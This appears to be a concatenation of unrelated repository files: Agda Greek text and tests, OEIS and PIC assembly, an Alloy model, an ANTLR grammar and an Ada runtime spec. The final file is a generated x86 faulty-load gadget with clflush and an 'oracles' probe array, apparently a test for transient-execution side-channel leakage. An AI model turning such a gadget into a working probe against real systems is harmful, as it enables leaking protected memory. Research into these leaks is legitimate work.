∷ word (π ∷ ε ∷ ρ ∷ ὶ ∷ []) "1John.5.16"
∷ word (ἐ ∷ κ ∷ ε ∷ ί ∷ ν ∷ η ∷ ς ∷ []) "1John.5.16"
∷ word (∙λ ∷ έ ∷ γ ∷ ω ∷ []) "1John.5.16"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.5.16"
∷ word (ἐ ∷ ρ ∷ ω ∷ τ ∷ ή ∷ σ ∷ ῃ ∷ []) "1John.5.16"
∷ word (π ∷ ᾶ ∷ σ ∷ α ∷ []) "1John.5.17"
∷ word (ἀ ∷ δ ∷ ι ∷ κ ∷ ί ∷ α ∷ []) "1John.5.17"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ []) "1John.5.17"
∷ word (ἐ ∷ σ ∷ τ ∷ ί ∷ ν ∷ []) "1John.5.17"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.17"
∷ word (ἔ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.17"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ί ∷ α ∷ []) "1John.5.17"
∷ word (ο ∷ ὐ ∷ []) "1John.5.17"
∷ word (π ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.17"
∷ word (θ ∷ ά ∷ ν ∷ α ∷ τ ∷ ο ∷ ν ∷ []) "1John.5.17"
∷ word (Ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.18"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.18"
∷ word (π ∷ ᾶ ∷ ς ∷ []) "1John.5.18"
∷ word (ὁ ∷ []) "1John.5.18"
∷ word (γ ∷ ε ∷ γ ∷ ε ∷ ν ∷ ν ∷ η ∷ μ ∷ έ ∷ ν ∷ ο ∷ ς ∷ []) "1John.5.18"
∷ word (ἐ ∷ κ ∷ []) "1John.5.18"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.18"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.18"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.5.18"
∷ word (ἁ ∷ μ ∷ α ∷ ρ ∷ τ ∷ ά ∷ ν ∷ ε ∷ ι ∷ []) "1John.5.18"
∷ word (ἀ ∷ ∙λ ∷ ∙λ ∷ []) "1John.5.18"
∷ word (ὁ ∷ []) "1John.5.18"
∷ word (γ ∷ ε ∷ ν ∷ ν ∷ η ∷ θ ∷ ε ∷ ὶ ∷ ς ∷ []) "1John.5.18"
∷ word (ἐ ∷ κ ∷ []) "1John.5.18"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.18"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.18"
∷ word (τ ∷ η ∷ ρ ∷ ε ∷ ῖ ∷ []) "1John.5.18"
∷ word (α ∷ ὐ ∷ τ ∷ ό ∷ ν ∷ []) "1John.5.18"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.18"
∷ word (ὁ ∷ []) "1John.5.18"
∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ὸ ∷ ς ∷ []) "1John.5.18"
∷ word (ο ∷ ὐ ∷ χ ∷ []) "1John.5.18"
∷ word (ἅ ∷ π ∷ τ ∷ ε ∷ τ ∷ α ∷ ι ∷ []) "1John.5.18"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.18"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.19"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.19"
∷ word (ἐ ∷ κ ∷ []) "1John.5.19"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.19"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.19"
∷ word (ἐ ∷ σ ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.19"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.19"
∷ word (ὁ ∷ []) "1John.5.19"
∷ word (κ ∷ ό ∷ σ ∷ μ ∷ ο ∷ ς ∷ []) "1John.5.19"
∷ word (ὅ ∷ ∙λ ∷ ο ∷ ς ∷ []) "1John.5.19"
∷ word (ἐ ∷ ν ∷ []) "1John.5.19"
∷ word (τ ∷ ῷ ∷ []) "1John.5.19"
∷ word (π ∷ ο ∷ ν ∷ η ∷ ρ ∷ ῷ ∷ []) "1John.5.19"
∷ word (κ ∷ ε ∷ ῖ ∷ τ ∷ α ∷ ι ∷ []) "1John.5.19"
∷ word (ο ∷ ἴ ∷ δ ∷ α ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.20"
∷ word (δ ∷ ὲ ∷ []) "1John.5.20"
∷ word (ὅ ∷ τ ∷ ι ∷ []) "1John.5.20"
∷ word (ὁ ∷ []) "1John.5.20"
∷ word (υ ∷ ἱ ∷ ὸ ∷ ς ∷ []) "1John.5.20"
∷ word (τ ∷ ο ∷ ῦ ∷ []) "1John.5.20"
∷ word (θ ∷ ε ∷ ο ∷ ῦ ∷ []) "1John.5.20"
∷ word (ἥ ∷ κ ∷ ε ∷ ι ∷ []) "1John.5.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.20"
∷ word (δ ∷ έ ∷ δ ∷ ω ∷ κ ∷ ε ∷ ν ∷ []) "1John.5.20"
∷ word (ἡ ∷ μ ∷ ῖ ∷ ν ∷ []) "1John.5.20"
∷ word (δ ∷ ι ∷ ά ∷ ν ∷ ο ∷ ι ∷ α ∷ ν ∷ []) "1John.5.20"
∷ word (ἵ ∷ ν ∷ α ∷ []) "1John.5.20"
∷ word (γ ∷ ι ∷ ν ∷ ώ ∷ σ ∷ κ ∷ ω ∷ μ ∷ ε ∷ ν ∷ []) "1John.5.20"
∷ word (τ ∷ ὸ ∷ ν ∷ []) "1John.5.20"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ι ∷ ν ∷ ό ∷ ν ∷ []) "1John.5.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.20"
∷ word (ἐ ∷ σ ∷ μ ∷ ὲ ∷ ν ∷ []) "1John.5.20"
∷ word (ἐ ∷ ν ∷ []) "1John.5.20"
∷ word (τ ∷ ῷ ∷ []) "1John.5.20"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ι ∷ ν ∷ ῷ ∷ []) "1John.5.20"
∷ word (ἐ ∷ ν ∷ []) "1John.5.20"
∷ word (τ ∷ ῷ ∷ []) "1John.5.20"
∷ word (υ ∷ ἱ ∷ ῷ ∷ []) "1John.5.20"
∷ word (α ∷ ὐ ∷ τ ∷ ο ∷ ῦ ∷ []) "1John.5.20"
∷ word (Ἰ ∷ η ∷ σ ∷ ο ∷ ῦ ∷ []) "1John.5.20"
∷ word (Χ ∷ ρ ∷ ι ∷ σ ∷ τ ∷ ῷ ∷ []) "1John.5.20"
∷ word (ο ∷ ὗ ∷ τ ∷ ό ∷ ς ∷ []) "1John.5.20"
∷ word (ἐ ∷ σ ∷ τ ∷ ι ∷ ν ∷ []) "1John.5.20"
∷ word (ὁ ∷ []) "1John.5.20"
∷ word (ἀ ∷ ∙λ ∷ η ∷ θ ∷ ι ∷ ν ∷ ὸ ∷ ς ∷ []) "1John.5.20"
∷ word (θ ∷ ε ∷ ὸ ∷ ς ∷ []) "1John.5.20"
∷ word (κ ∷ α ∷ ὶ ∷ []) "1John.5.20"
∷ word (ζ ∷ ω ∷ ὴ ∷ []) "1John.5.20"
∷ word (α ∷ ἰ ∷ ώ ∷ ν ∷ ι ∷ ο ∷ ς ∷ []) "1John.5.20"
∷ word (Τ ∷ ε ∷ κ ∷ ν ∷ ί ∷ α ∷ []) "1John.5.21"
∷ word (φ ∷ υ ∷ ∙λ ∷ ά ∷ ξ ∷ α ∷ τ ∷ ε ∷ []) "1John.5.21"
∷ word (ἑ ∷ α ∷ υ ∷ τ ∷ ὰ ∷ []) "1John.5.21"
∷ word (ἀ ∷ π ∷ ὸ ∷ []) "1John.5.21"
∷ word (τ ∷ ῶ ∷ ν ∷ []) "1John.5.21"
∷ word (ε ∷ ἰ ∷ δ ∷ ώ ∷ ∙λ ∷ ω ∷ ν ∷ []) "1John.5.21"
∷ []
|
test/Succeed/Issue794.agda | shlevy/agda | 3 | 12391 | module Issue794 where
open import Common.Prelude
open import Common.MAlonzo
postulate A : Set
record R : Set where
id : A → A
id x = x
|
test/Succeed/Issue1071.agda | shlevy/agda | 1,989 | 11013 | <reponame>shlevy/agda
-- Andreas, 2014-03-03, report and test case by Nisse.
-- {-# OPTIONS -v tc.lhs.unify:60 #-}
module Issue1071 where
postulate
F : Set → Set
module M (_ : Set₁) where
postulate A : Set
open M Set
data P : Set → Set₁ where
c : (R : Set) → P (F R)
data Q : (R : Set) → R → P R → Set₁ where
d : (R : Set) (f : F R) → Q (F R) f (c R)
Foo : (f' : F A) → Q (F A) f' (c A) → Set₁
Foo ._ (d ._ _) = Set
-- WAS:
-- Refuse to solve heterogeneous constraint f₁ : F A =?= f : F A
-- when checking that the pattern d ._ _ has type Q (F A) f (c A)
-- SHOULD: succeed
|
programs/oeis/239/A239129.asm | karttu/loda | 1 | 26942 | ; A239129: a(n) = 18*n - 1, n >= 1, the second column of triangle A239127 related to the Collatz problem.
; 17,35,53,71,89,107,125,143,161,179,197,215,233,251,269,287,305,323,341,359,377,395,413,431,449,467,485,503,521,539,557,575,593,611,629,647,665,683,701,719,737,755,773,791,809,827,845,863,881,899,917,935,953,971,989,1007,1025,1043,1061,1079,1097,1115,1133,1151,1169,1187,1205,1223,1241,1259,1277,1295,1313,1331,1349,1367,1385,1403,1421,1439,1457,1475,1493,1511,1529,1547,1565,1583,1601,1619,1637,1655,1673,1691,1709,1727,1745,1763,1781,1799,1817,1835,1853,1871,1889,1907,1925,1943,1961,1979,1997,2015,2033,2051,2069,2087,2105,2123,2141,2159,2177,2195,2213,2231,2249,2267,2285,2303,2321,2339,2357,2375,2393,2411,2429,2447,2465,2483,2501,2519,2537,2555,2573,2591,2609,2627,2645,2663,2681,2699,2717,2735,2753,2771,2789,2807,2825,2843,2861,2879,2897,2915,2933,2951,2969,2987,3005,3023,3041,3059,3077,3095,3113,3131,3149,3167,3185,3203,3221,3239,3257,3275,3293,3311,3329,3347,3365,3383,3401,3419,3437,3455,3473,3491,3509,3527,3545,3563,3581,3599,3617,3635,3653,3671,3689,3707,3725,3743,3761,3779,3797,3815,3833,3851,3869,3887,3905,3923,3941,3959,3977,3995,4013,4031,4049,4067,4085,4103,4121,4139,4157,4175,4193,4211,4229,4247,4265,4283,4301,4319,4337,4355,4373,4391,4409,4427,4445,4463,4481,4499
mov $1,$0
mul $1,18
add $1,17
|
alloy4fun_models/trashltl/models/11/CZdvJjoAKf7bMskv8.als | Kaixi26/org.alloytools.alloy | 0 | 2901 | open main
pred idCZdvJjoAKf7bMskv8_prop12 {
all f : File | eventually f in Trash => always (eventually f not in Trash)
}
pred __repair { idCZdvJjoAKf7bMskv8_prop12 }
check __repair { idCZdvJjoAKf7bMskv8_prop12 <=> prop12o } |
src/frontend/CommonLex.g4 | kylinsoft/test | 0 | 3474 | lexer grammar CommonLex;
// keyword
Int : 'int';
Void: 'void';
Const: 'const';
Return : 'return';
If : 'if';
Else : 'else';
For : 'for';
While : 'while';
Do : 'do';
Break : 'break';
Continue : 'continue';
// operator
Lparen : '(' ;
Rparen : ')' ;
Lbrkt : '[' ;
Rbrkt : ']' ;
Lbrace : '{' ;
Rbrace : '}' ;
Comma : ',' ;
Semicolon : ';';
Question : '?';
Colon : ':';
Minus : '-';
Exclamation : '!';
Tilde : '~';
Addition : '+';
Multiplication : '*';
Division : '/';
Modulo : '%';
LAND : '&&';
LOR : '||';
EQ : '==';
NEQ : '!=';
LT : '<';
LE : '<=';
GT : '>';
GE : '>=';
// integer, identifier
IntLiteral
: [0-9]+
| '0x'[0-9a-fA-F]+
| '0X'[0-9a-fA-F]+
;
Identifier
: [a-zA-Z_][a-zA-Z_0-9]*
;
STRING : '"'(ESC|.)*?'"';
fragment
ESC : '\\"'|'\\\\';
WS :
[ \t\r\n] -> skip
;
LINE_COMMENT : '//' .*? '\r'? '\n' -> skip;
COMMENT :'/*'.*?'*/'-> skip ; |
pic/ad.asm | kajusK/DarkStar | 3 | 240966 | ;**********************************************************************
;Led headlamp
;PIC 16F616
;internal 8MHz
;------------------------------
; <NAME>
; <EMAIL>
; 2015
;------------------------------
; ad.asm
;------------------------------
; This task determines the actual voltage and shuts system down when it
; reaches about 3V
;
; As the measuring takes some time and measuring diode is connected
; to pwm1 pin to keep the sleep current as low as possible, the
; interrupt must be dissabled for time of measurement (2us). Also, the pwm1
; must be in high state. Therefore AD can't be used very often as it would
; cause light output instability.
;
; Supply voltage can be calculated:
; Ucc = 255*diode_fwd/ADRESH
;
; Pwm duty in % for output voltage U
; Pwm = U / Ucc = U*ADRESH / (255*diode_fwd) * 100
;
; For selected values of components, the ADRESH can be between 158 (3V) and
; around 100 (5V).
;**********************************************************************
;------------------------------
; Run the ADC conversion
;
; measured value from ADRESH is stored in adc_result and w
;
; Supply voltage is Ucc = 255*diode_drop/ADRESH
; Higher ADRESH means lower supply voltage!
;
; Disables interrupts and pools until the convertion is finished!
;------------------------------
adc_convert
bcf intcon, gie ;disable interrupt
btfss pwm1
bsf pwm1 ;set output to H
;wait for a while (10us) to get stable voltage
adc_convert_wait
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
goto $+1
adc_convert_run
bsf adcon0, go ;start conversion
;run conversion
adc_convert_1
btfsc adcon0, go
goto adc_convert_1
;conversion finished, reenable interrupts and force new pwm pulse
clrf tmr0
bsf intcon, t0if ;force interrupt to occur - generate new pwm
bsf intcon, gie ;reenable interrupts
movf ADRESH, w
movwf adc_result ;store the result
return
;------------------------------
; ADC voltage check
;
; Check the current voltage level, if too low, set status, c to zero
;------------------------------
adc_voltage_check
call adc_convert ;result in W
sublw ADC_OFF_TRESHOLD ;treshold - adc_result
return
;------------------------------
; ADC task
;
; Check the current voltage level, if too low, turn the device off,
; if not, calculate and apply pwm duty correction
;
; 2 stack levels and tmp
;------------------------------
adc_task
decfsz adc_task_timer, f
return ;delay to get longer AD task period - reduce blinking
movlw ADC_TASK_PERIOD
movwf adc_task_timer
call adc_convert ;result in W
movwf tmp
sublw ADC_OFF_TRESHOLD ;treshold - adc_result
btfss status, c
goto adc_below_off ;voltage too low
adc_task_check
movf tmp, w
sublw ADC_LOW_TRESHOLD
btfss status, c
goto adc_below_low ;voltage low, reduce out power
movlw ADC_LOW_RETRIES
movwf adc_low_count ;reset adc low counter
movwf adc_off_count
;TODO: apply pwm output correction
adc_task_update
; movf led1_intensity, w
; call adc_pwm_calculate ;get the new pwm
; call pwm1_set ;and set it
;
; movf led2_intensity, w
; call adc_pwm_calculate
; call pwm2_set
;
; call pwm_update ;finally, apply the new values
return
;voltage below treshold
adc_below_off
decfsz adc_off_count, f ;low voltage event must repeat few times before shutdown
goto adc_task_check ;not enough repeated low voltage measurements, continue
;ugh, battery is low, shutdown
movlw ADC_LOW_RETRIES
movwf adc_off_count ;reset adc off counter
call turnoff_voltage
return
adc_below_low
decfsz adc_low_count, f ;low voltage event must repeat few times before any action
goto adc_task_update ;not enough repeated low voltage measurements, continue
;ugh, battery is low, reduce power
call low_voltage
return
;-----------------------------
; calculate pwm value from intensity (W) and store result in W
; TODO add brightness compensation during voltage drop
;
; pwm_duty = intensity^2 * PWM_LED_STEP
; Intensity 1 has hardcoded value to PWM_LEVEL1_VAL
;
; uses tmp and 1 level stack
;-----------------------------
adc_pwm_calculate
movwf tmp
sublw 1
btfsc status, z
retlw PWM_LEVEL1_VAL ;brightness 1 has hardcoded value
movf tmp, w
movwf numberl
call multiply ;intensity^2
movf numberh, f
btfss status, z
retlw PWM_LEVEL_MAX ;result > 255, shouldn't happen, return full anyway
movlw PWM_LED_STEP
call multiply ;*PWM_LED_STEP
movf numberh, f
btfss status, z
retlw PWM_LEVEL_MAX ;result > 255, shouldn't happen, return full anyway
movf numberl, w
sublw PWM_LEVEL_MAX
btfss status, c
retlw PWM_LEVEL_MAX ;result > MAX, return MAX
movf numberl, w
return
;------------------------------
; 8x8 bit multiply
;
; source: http://www.piclist.com/techref/microchip/math/mul/8x8.htm
;
; input numbers are in w and numberl
; Result is in numberh:numberl
;------------------------------
MULT macro
btfsc status,c
addwf numberh,f
rrf numberh,f
rrf numberl,f
endm
multiply:
clrf numberh
rrf numberl,f
MULT
MULT
MULT
MULT
MULT
MULT
MULT
MULT
return
;------------------------------
; 16 bit divide by 2^W
;
; input and result is in numberh:numberl
; uses tmp
;------------------------------
divide:
movwf tmp
divide_1:
bcf status, c
rrf numberh, f
rrf numberl, f
decfsz tmp, f
goto divide_1
return
|
Commands/File Commands suite/path to/temporary items/path to temporary items from user domain.applescript | looking-for-a-job/applescript-examples | 1 | 3391 | <reponame>looking-for-a-job/applescript-examples<filename>Commands/File Commands suite/path to/temporary items/path to temporary items from user domain.applescript
#!/usr/bin/osascript
path to temporary items from user domain |
test/Compiler/simple/Issue3045.agda | cruhland/agda | 1,989 | 2532 | <gh_stars>1000+
-- cj-xu and fredriknordvallforsberg, 2018-04-30
open import Common.IO
data Bool : Set where
true false : Bool
data MyUnit : Set where
tt : MyUnit -- no eta!
HiddenFunType : MyUnit -> Set
HiddenFunType tt = Bool -> Bool
notTooManyArgs : (x : MyUnit) -> HiddenFunType x
notTooManyArgs tt b = b
{- This should not happen when compiling notTooManyArgs:
• Couldn't match expected type ‘GHC.Prim.Any’
with actual type ‘a0 -> b0’
The type variables ‘b0’, ‘a0’ are ambiguous
• The equation(s) for ‘d10’ have two arguments,
but its type ‘T2 -> AgdaAny’ has only one
-}
main : IO MyUnit
main = return tt
|
bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-soflin.ads | JCGobbi/Nucleo-STM32G474RE | 0 | 22019 | <filename>bb-runtimes/runtimes/ravenscar-full-stm32g474/gnat/s-soflin.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- S Y S T E M . S O F T _ L I N K S --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2021, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- --
-- --
-- --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains a set of subprogram access variables that access
-- some low-level primitives that are different depending whether tasking is
-- involved or not (e.g. the Get/Set_Jmpbuf_Address that needs to provide a
-- different value for each task). To avoid dragging in the tasking runtimes
-- all the time, we use a system of soft links where the links are
-- initialized to non-tasking versions, and then if the tasking support is
-- initialized, they are set to the real tasking versions.
-- This is a Ravenscar bare board version of this package. Tasking versions
-- of the primitives are always used.
with Ada.Exceptions;
package System.Soft_Links is
pragma Preelaborate;
subtype EOA is Ada.Exceptions.Exception_Occurrence_Access;
subtype EO is Ada.Exceptions.Exception_Occurrence;
-- First we have the access subprogram types used to establish the links.
-- The approach is to establish variables containing access subprogram
-- values, which by default point to dummy no tasking versions of routines.
type No_Param_Proc is access procedure;
pragma Suppress_Initialization (No_Param_Proc);
type EO_Param_Proc is access procedure (Excep : EO);
pragma Favor_Top_Level (EO_Param_Proc);
type Get_EOA_Call is access function return EOA;
-- Suppress checks on all these types, since we know the corresponding
-- values can never be null (the soft links are always initialized).
pragma Suppress (Access_Check, No_Param_Proc);
pragma Suppress (Access_Check, EO_Param_Proc);
pragma Suppress (Access_Check, Get_EOA_Call);
-- The following one is not related to tasking/no-tasking but to the
-- traceback decorators for exceptions.
type Traceback_Decorator_Wrapper_Call is access
function (Traceback : System.Address; Len : Natural) return String;
pragma Favor_Top_Level (Traceback_Decorator_Wrapper_Call);
procedure Abort_Defer_Raven is null;
-- Defer task abort (Ravenscar case, does nothing)
procedure Abort_Undefer_Raven is null;
-- Undefer task abort (Ravenscar case, does nothing)
procedure Task_Lock_Soft;
-- Lock out other tasks
procedure Task_Unlock_Soft;
-- Release lock set by Task_Lock
Lock_Task : No_Param_Proc := Task_Lock_Soft'Access;
-- Locks out other tasks. Preceding a section of code by Task_Lock and
-- following it by Task_Unlock creates a critical region. This is used
-- for ensuring that a region of non-tasking code (such as code used to
-- allocate memory) is tasking safe. Note that it is valid for calls to
-- Task_Lock/Task_Unlock to be nested, and this must work properly, i.e.
-- only the corresponding outer level Task_Unlock will actually unlock.
Unlock_Task : No_Param_Proc := Task_Unlock_Soft'Access;
-- Releases lock previously set by call to Lock_Task. In the nested case,
-- all nested locks must be released before other tasks competing for the
-- tasking lock are released.
--
-- Note: the recommended protocol for using Lock_Task and Unlock_Task
-- is as follows:
--
-- Locked_Processing : begin
-- System.Soft_Links.Lock_Task.all;
-- ...
-- System.Soft_Links.Unlock_Task.all;
--
-- exception
-- when others =>
-- System.Soft_Links.Unlock_Task.all;
-- raise;
-- end Locked_Processing;
--
-- This ensures that the lock is not left set if an exception is raised
-- explicitly or implicitly during the critical locked region.
procedure Adafinal_Soft;
-- Programs do not terminate in Ravenscar
Adafinal : No_Param_Proc := Adafinal_Soft'Access;
-- Performs the finalization of the Ada Runtime
Abort_Defer : constant No_Param_Proc := Abort_Defer_Raven'Access;
pragma Suppress (Access_Check, Abort_Defer);
-- Defer task abort (task/non-task case as appropriate)
Abort_Undefer : constant No_Param_Proc := Abort_Undefer_Raven'Access;
pragma Suppress (Access_Check, Abort_Undefer);
-- Undefer task abort (task/non-task case as appropriate)
-- Declarations for the no tasking versions of the required routines
function Get_Current_Excep_Soft return EOA;
pragma Inline (Get_Current_Excep_Soft);
Get_Current_Excep : constant Get_EOA_Call := Get_Current_Excep_Soft'Access;
function Get_GNAT_Exception return Ada.Exceptions.Exception_Id;
pragma Inline (Get_GNAT_Exception);
-- This function obtains the Exception_Id from the Exception_Occurrence
-- referenced by the Current_Excep field of the task specific data, i.e.
-- the call is equivalent to:
-- Exception_Identity (Get_Current_Exception.all)
procedure Task_Termination_Soft (Except : EO);
-- Handle task termination routines for the environment task (non-tasking
-- case, does nothing).
Task_Termination_Handler : EO_Param_Proc := Task_Termination_Soft'Access;
-- Handle task termination routines (task/non-task case as appropriate)
-------------------------------------
-- Exception Tracebacks Soft-Links --
-------------------------------------
Library_Exception : EO;
-- Library-level finalization routines use this common reference to store
-- the first library-level exception which occurs during finalization.
Library_Exception_Set : Boolean := False;
-- Used in conjunction with Library_Exception, set when an exception has
-- been stored.
Traceback_Decorator_Wrapper : Traceback_Decorator_Wrapper_Call;
-- Wrapper to the possible user specified traceback decorator to be
-- called during automatic output of exception data.
--
-- The null value of this wrapper corresponds to the null value of the
-- current actual decorator. This is ensured first by the null initial
-- value of the corresponding variables, and then by Set_Trace_Decorator
-- in g-exctra.adb.
pragma Atomic (Traceback_Decorator_Wrapper);
-- Since concurrent read/write operations may occur on this variable. See
-- the body of Tailored_Exception_Traceback in Ada.Exceptions for a more
-- detailed description of the potential problems.
end System.Soft_Links;
|
Transynther/x86/_processed/NC/_st_zr_un_sm_/i7-7700_9_0x48.log_21829_2598.asm | ljhsiun2/medusa | 9 | 80832 | <filename>Transynther/x86/_processed/NC/_st_zr_un_sm_/i7-7700_9_0x48.log_21829_2598.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x1efea, %r11
nop
nop
nop
nop
cmp %r14, %r14
movw $0x6162, (%r11)
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0xc751, %rdx
nop
nop
nop
sub %r8, %r8
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
and $0xffffffffffffffc0, %rdx
movaps %xmm7, (%rdx)
nop
dec %rdx
lea addresses_WT_ht+0x1c96a, %r8
clflush (%r8)
nop
sub $60567, %rcx
movups (%r8), %xmm3
vpextrq $0, %xmm3, %r14
nop
sub %r8, %r8
lea addresses_D_ht+0x663a, %rsi
lea addresses_A_ht+0x94ba, %rdi
nop
dec %r15
mov $115, %rcx
rep movsb
nop
nop
nop
sub $62116, %r11
lea addresses_D_ht+0x423e, %rcx
nop
nop
inc %rdi
mov $0x6162636465666768, %r15
movq %r15, %xmm3
movups %xmm3, (%rcx)
nop
nop
and %r8, %r8
lea addresses_A_ht+0x45ea, %rsi
lea addresses_A_ht+0x5d72, %rdi
clflush (%rsi)
cmp %r14, %r14
mov $59, %rcx
rep movsq
nop
add $959, %rsi
lea addresses_WC_ht+0x1c806, %r8
nop
nop
nop
nop
nop
cmp %rcx, %rcx
mov (%r8), %rsi
dec %rcx
lea addresses_D_ht+0xa7aa, %rcx
nop
nop
nop
xor %r14, %r14
movw $0x6162, (%rcx)
nop
nop
nop
inc %rcx
lea addresses_normal_ht+0x7fca, %rsi
lea addresses_A_ht+0x886a, %rdi
cmp $22082, %r15
mov $75, %rcx
rep movsq
nop
nop
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x19e5a, %r15
nop
add $22196, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm1
and $0xffffffffffffffc0, %r15
vmovntdq %ymm1, (%r15)
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_WT_ht+0x1ba6a, %rsi
lea addresses_UC_ht+0x11ea, %rdi
add $60079, %r8
mov $10, %rcx
rep movsb
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x7bea, %rsi
lea addresses_A_ht+0x17bc6, %rdi
nop
nop
nop
add %r14, %r14
mov $127, %rcx
rep movsl
nop
nop
nop
nop
sub $2241, %rdx
lea addresses_WT_ht+0x222a, %rdi
nop
nop
nop
nop
nop
cmp $31160, %r11
movb $0x61, (%rdi)
nop
nop
nop
nop
nop
add $45077, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
mov $0x466bbe0000000dea, %r11
nop
nop
nop
nop
and $58738, %rcx
movw $0x5152, (%r11)
nop
nop
nop
nop
nop
inc %r9
// Store
lea addresses_D+0x59ea, %rcx
clflush (%rcx)
nop
nop
nop
cmp $59393, %rbx
movw $0x5152, (%rcx)
nop
nop
nop
nop
sub $13423, %rdx
// Faulty Load
mov $0x466bbe0000000dea, %r9
sub %rcx, %rcx
vmovups (%r9), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
lea oracles, %rdi
and $0xff, %r11
shlq $12, %r11
mov (%rdi,%r11,1), %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}}
